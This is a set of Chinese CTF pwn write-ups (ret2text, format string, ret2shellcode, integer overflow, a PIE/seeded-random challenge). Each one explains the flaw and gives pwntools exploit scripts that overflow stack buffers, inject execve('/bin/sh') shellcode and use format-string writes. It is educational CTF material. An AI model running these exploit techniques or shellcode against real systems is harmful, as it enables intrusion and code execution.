ret2text 64

出题人:mint1.

wp:

checksec:

1

堆栈不可执行,没有开canary防止栈溢出,没有开PIE

来到IDA中分析

有后面函数system('/bin/sh')位于hint中,记录其地址0x40136F

漏洞位于func函数

1

gets()函数不检查输入信息的长度,存在栈溢出风险

v1是栈上的变量,在执行完func函数后程序会根据栈上数据跳转到进入func函数前压入的父函数位置,我们需要利用gets函数输入数据覆盖掉这一返回地址,跳转到hint函数中利用后门函数获取shell,但是64位函数执行system(‘/bin/sh’)前需要堆栈平衡,当我们在backdoor函数之前加入一个 ret 指令后栈顶下移8个字节使之对齐 16Byte 为此满足了XMM寄存器的要求成功得到shell,关于堆栈平衡可以看这篇文章https://zhuanlan.zhihu.com/p/611961995

payload = b'a'*(0x30+8) + p64(ret) + p64(backdoor)

0x30个a是为了填满v1数组,8个a是为了覆盖rbp,p64(ret)覆盖返回地址

来到汇编:

1

这是func函数的汇编,在执行完leave retn后就会跳转执行我们找的ret这条指令,紧接着执行完ret指令后跳转到我们找到的后门函数执行

可以通过gdb单步执行观察是如何跳转的

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import*
context(arch='amd64',os = 'linux',log_level='debug')
#io=remote('node1.anna.nssctf.cn',28389)
io = process('./pwn')
#gdb.attach(io)
#elf=ELF('./pwn')

ret = 0x401388
backdoor = 0x40136F
payload = b'a'*(0x30+8) + p64(ret) + p64(backdoor)
io.sendline(payload)


io.interactive()

fmt

出题人:mint1.

wp:

checksec

1

开启了 Canary NX 没开 PIE

程序自带后门函数,满足一定条件后可执行

漏洞位于vuln函数

1

格式化字符串漏洞可以用来泄露信息,或修改信息

这里利用格式化字符串漏洞修改bss段上的 target 变量,将其改为6满足 if 条件

target地址=0x40408C

测偏移:aaaa-%x-%x-%x-%x-%x-%x-%x-%x

1

测出来偏移为6,两种解题方式

1: 利用pwntools中的 payload = fmtstr_payload(6, {target: 6})

2: 手动构造格式化字符 payload = b’%6c%8$lln’ + b’aaaaaaa’ + p64(target)

​ 手动构造的格式化字符在第8个参数写入6,aaaaaa是为了使第8个参数恰好为target,控制栈上位置

1

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import*
context(arch='amd64',os = 'linux',log_level='debug')
#io=remote('node1.anna.nssctf.cn',28621)
io = process('./pwn')
gdb.attach(io)
#elf=ELF('./pwn')
#libc=ELF('./libc.so.6')
targer = 0x40408C

#payload = fmtstr_payload(6,{targer:6})
payload = b'%6c%8$lln' + b'aaaaaaa' + p64(targer)
success(payload)

io.sendline(payload)


io.interactive()

ret2shellcode

出题人:lycoreco

lycoreco的前言:

这是我第一次出题,也是试了很久才出了这个ret2shellcode,当然自己的解法感觉没有师傅们的好,这里贴出来分析一下,望海涵。

wp:

先checksec:

img

没什么特别需要绕过的保护,栈可执行

我们先运行一下程序:img

是一道ret2shellcode有一个输入,并且输出了一个地址,应该就是栈开始的地址,现在去ida里看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
int __fastcall main(int argc, const char **argv, const char **envp)
{
printCDUSEC(argc, argv, envp);
vuln();
return 0;
}

//主要就是vuln函数:

__int64 vuln()
{
_BYTE v1[64]; // [rsp+0h] [rbp-40h] BYREF

printf("buf @ %p\n", v1);
fflush(stdout);
puts("Welcome to ret2shellcode!");
fflush(stdout);
return gets(v1);//这里存在明显的栈溢出漏洞
}

此时覆盖返回地址的偏移就是0x40+8,也就是72

下面我们仔细看看汇编代码

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
0x401243  lea   rax, [rbp+var_40]    ; rax = &v1  (var_40 即 buffer)
0x401247 mov rsi, rax ; rsi = &v1 (printf 的第二个参数)
...
0x40124A lea rax, format
0x401251 mov rdi, rax ; format
...
call printf



0x40128B lea rax, [rbp+var_40] ; rax = &v1
0x40128F mov rdi, rax ; rdi = &v1 (gets 的第1个参数)
...
call gets



0x401292 mov eax, 0
0x401297 call _gets
0x40129C nop
0x40129D leave
0x40129E retn

所以我们的思路是:

1、gets(v1) 会把输入写到栈上的 v1,并返回 v1(放 rax)。

2、exploit 把 “/bin/sh\x00” 放在 buf,把 shellcode 放在 buf+8(或把 shellcode 放在 buf 开头,视你写的 shellcode 而定)。

3、覆盖返回地址为 buf+8,当 ret 发生时跳到我们放的 shellcode 执行。

4、shellcode 首条 mov rdi, rax 或者内置的 execve 逻辑,会用 rax内容完成 execve(“/bin/sh”,0,0)。

1
2
3
4
5
mov rdi, rax
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall

换成字节流就是:\x48\x89\xc7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context(arch='amd64', log_level='debug')

p = remote('node9.anna.nssctf.cn',26382)
\#p = process('./pwn')
p.recvuntil(b'buf @ ')
buf = int(p.recvline(), 16)
print(hex(buf))
shellcode = asm('''
mov rdi, rax
xor rsi, rsi
xor rdx, rdx
mov rax, 0x3b
syscall
''')
payload = b'/bin/sh\x00'
payload += shellcode
payload = payload.ljust(72, b'a')
payload += p64(buf+8)

p.recvuntil('Welcome to ret2shellcode!')
p.sendline(payload)
p.interactive()

经典的24字节shellcode解法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(arch='amd64', log_level='debug')

p = remote('node9.anna.nssctf.cn',26382)
p.recvuntil(b'buf @ ')
buf = int(p.recvline(), 16)
print(hex(buf))
shellcode = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
payload = shellcode
payload = payload.ljust(72, b'\x90') # 用NOP填充剩余空间!
payload += p64(buf)

p.recvuntil('Welcome to ret2shellcode!')
p.sendline(payload)
p.interactive()

利用shellcraft:

溢出,找ret,根据写入的字节长度控制程序流到shellcode,执行shellcode

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context(arch='amd64', log_level='debug')

p = remote('node9.anna.nssctf.cn',26382)
p.recvuntil(b'buf @ ')
buf = int(p.recvline(), 16)
print(hex(buf))
shellcode = asm(shellcraft.sh())
ret = 0x000000000040101a
payload = b'a' * 72 + p64(ret) + p64(buf + 72 + 8 + 8) + shellcode

p.recvuntil('Welcome to ret2shellcode!')
p.sendline(payload)
p.interactive()

这道题的写法多样,是有趣的shellcode呀

来自出题人haoo:第一次出题,确实出现了一些问题(希望师傅们谅解)。总的来说,这次出的都是简单题目,没一道是入门难度的,前四道直接问ai都能出,最后一道稍微弄一下也能出。下面是我出的两道题的wp。

Integer_Overflow

Integer_Overflow_1

检查保护,64位全开,接着拖入IDA中分析

Integer_Overflow_2

Integer_Overflow_3

直接输入-1就能获取shell,或者输入4294967295也能获取shell。

are you lucky

这题忘记关相应输出了,导致fmt可以leak,从而绕过了随机数(QWQ)。

lucky_1

开启了PIE保护,关闭了NX保护,大概率能打shellcode,拖入ida里面看

login

lucky_2

先是一个登录,输入user_name114514编码后的结果,当然熟悉的师傅应该能看出是base64编码,不熟悉的师傅可以通过gdb调试也能知道

lucky_6

root

接着看一下root函数的汇编,发现有一个全局变量target,需要将target的值与0x2918(即10520)进行对比,如果一样就能打shellcode。在打shellcode的时候发现限制了输入的字节数,这里可以靠师傅们自己发挥,我是**先搓出read函数,再shellcraft.sh()**。

1
2
3
4
5
6
7
8
9
10
11
shellcode='''
xor rdi,rdi;
mov rsi,rdx;
push 0xff;
pop rdx;
syscall
'''
shellcode=asm(shellcode)
io.sendafter(b'performance\n',shellcode.ljust(0xf,b'\x90'))

io.sendline(b'\x90'*0x20+asm(shellcraft.sh()))

lucky_5

edit与game

再看看edit函数与game函数,在game函数中,发现在20次输入中,每次输入的数与生成的随机数一样,最后就会给出main的地址,这样就能得到基址。在edit函数中发现存在fmt,由于没有关闭相应的输出,因此不会绕过随机数判断的师傅也可以leak,得到基址,然后再修改target的值从而到root函数打shellcode。

下面就分别说一下这两种获取基址的做法吧。

lucky_3

lucky_4

leak获取基址

第一种是leak的做法,因为存在fmt且没有关闭相应的输出,所以在edit函数中不仅能修改target的值,也能泄漏地址

lucky_7

找到相应的偏移,然后先泄漏地址再修改值,当然泄漏地址时可以找其他的。

1
2
3
4
5
6
7
io.sendlineafter(b' >>',b'1')
io.sendline(b'%35$p')
io.recvuntil(b'0x')
base_addr=int(io.recv(12),16)-0x1a4c
print(hex(base_addr))
target=base_addr+0x040CC
io.sendlineafter(b'new password',b'123456')

伪随机数

第二种是随机数判断的做法,在game函数中会给我们main函数的地址,只需要在20次输入中,每次输入的数与生成的随机数一样即可。也挺简单的,因为给了种子,我的做法是编写一个生成随机数的程序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include<stdio.h>
#include<stdlib.h>
#include<time.h>

int main()
{
srand(time(0));
srand(rand()%3-1522127470);
int x=0;
for(int i=0;i<120;i++)
{
x=rand()%4+1;
printf("%d\n",x);
}
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
io.sendlineafter(b' >>',b'2')
recv_data=os.popen('./random').read() #random是自己编写的程序的名字,该段代码的作用是执行random程序,并读取其输出结果
list=recv_data.strip('\n')
list=recv_data.split('\n')
for i in range(20):
payload=list[i]
io.sendline(str(payload))

io.recvuntil(b': 0x')
main=int(io.recv(12),16)
print(hex(main))
addr_base=main-0x019D0
target=addr_base+0x040CC

修改target的值

最后一点就是利用fmt修改target的值,这里的话有两种写法

一种是使用fmtstr_payload修改,这种方法就是比较简单

1
payload=fmtstr_payload(20,{target:10520})    #20为偏移,{target:10520}表示将target的值改为10520

还有一种就是不用pwntools自带的fmtstr_payload,自己手搓,这种方法就是比较复杂,但对fmt漏洞的理解有好处

1
payload=b"%10520c%22$hnAAA"+p64(target)    #%10520c表示输出10520个字符,%hn表示将当前已输出的字符数作为2字节值写入指定地址,22$表示表示使用第22个参数作为目标地址,而这个地址就是我们写入的target的地址,AAA是为了对齐

关于第二种写法,这么看可能有点懵,在这里gdb看一下

这是输入前栈上的情况

lucky_8

这是输入后栈上的情况,可以看出输入的target的地址在第22个参数处,这就是为什么上面是22$

lucky_9

最后是printf后栈上的情况,可以看出确实将值写入了target

lucky_10

总结

exp的话师傅们可以根据上述的过程自己编写一下(因为太简单,而且比较详细,所以主包不想写exp了,0w0)。